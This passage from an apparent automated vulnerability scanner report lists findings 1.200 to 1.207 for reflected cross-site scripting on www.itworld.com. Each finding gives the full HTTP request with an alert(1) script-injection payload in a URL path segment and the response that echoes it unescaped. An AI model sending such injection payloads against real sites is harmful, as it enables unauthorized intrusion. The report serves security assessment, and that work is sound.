Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:08 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460548"
Content-Type: text/html; charset=utf-8
Content-Length: 57757
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:09 GMT
X-Varnish: 1038167129
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modulese13a2"-alert(1)-"4abf7d40c4b/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops
...[SNIP]...

1.200. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81756"><script>alert(1)</script>dda89860fe0 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib81756"><script>alert(1)</script>dda89860fe0/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:15 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460555"
Content-Type: text/html; charset=utf-8
Content-Length: 57976
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:17 GMT
X-Varnish: 1038167338
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib81756"><script>alert(1)</script>dda89860fe0/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js?h"/>
...[SNIP]...

1.201. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aed49"-alert(1)-"196c36e6133 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contribaed49"-alert(1)-"196c36e6133/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:21 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460561"
Content-Type: text/html; charset=utf-8
Content-Length: 57757
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:22 GMT
X-Varnish: 1038167815
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contribaed49"-alert(1)-"196c36e6133/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We cou
...[SNIP]...

1.202. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f21ff"><script>alert(1)</script>de42be2d7ae was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_uif21ff"><script>alert(1)</script>de42be2d7ae/jquery.ui/external/cookie/jquery.cookie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:30 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460570"
Content-Type: text/html; charset=utf-8
Content-Length: 57977
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:30 GMT
X-Varnish: 1038168328
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_uif21ff"><script>alert(1)</script>de42be2d7ae/jquery.ui/external/cookie/jquery.cookie.js?h"/>
...[SNIP]...

1.203. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e7ca3"-alert(1)-"88f2724cc11 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_uie7ca3"-alert(1)-"88f2724cc11/jquery.ui/external/cookie/jquery.cookie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:36 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460576"
Content-Type: text/html; charset=utf-8
Content-Length: 57757
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:37 GMT
X-Varnish: 1038168585
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
ich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_uie7ca3"-alert(1)-"88f2724cc11/jquery.ui/external/cookie/jquery.cookie.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find
...[SNIP]...

1.204. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ba60e"-alert(1)-"76c464bb13c was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.uiba60e"-alert(1)-"76c464bb13c/external/cookie/jquery.cookie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:47 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460587"
Content-Type: text/html; charset=utf-8
Content-Length: 57757
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:48 GMT
X-Varnish: 1038168755
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.uiba60e"-alert(1)-"76c464bb13c/external/cookie/jquery.cookie.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page
...[SNIP]...

1.205. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73430"><script>alert(1)</script>5906809cb50 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui73430"><script>alert(1)</script>5906809cb50/external/cookie/jquery.cookie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:43 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460583"
Content-Type: text/html; charset=utf-8
Content-Length: 57977
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:43 GMT
X-Varnish: 1038168706
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui73430"><script>alert(1)</script>5906809cb50/external/cookie/jquery.cookie.js?h"/>
...[SNIP]...

1.206. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8b2db"-alert(1)-"8f50261f95d was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/external8b2db"-alert(1)-"8f50261f95d/cookie/jquery.cookie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:30:06 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460606"
Content-Type: text/html; charset=utf-8
Content-Length: 57756
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:30:10 GMT
X-Varnish: 1038169235
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
8-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/jquery_ui/jquery.ui/external8b2db"-alert(1)-"8f50261f95d/cookie/jquery.cookie.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you reque
...[SNIP]...

1.207. http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fba96"><script>alert(1)</script>f0594156723 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/jquery_ui/jquery.ui/externalfba96"><script>alert(1)</script>f0594156723/cookie/jquery.cookie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; 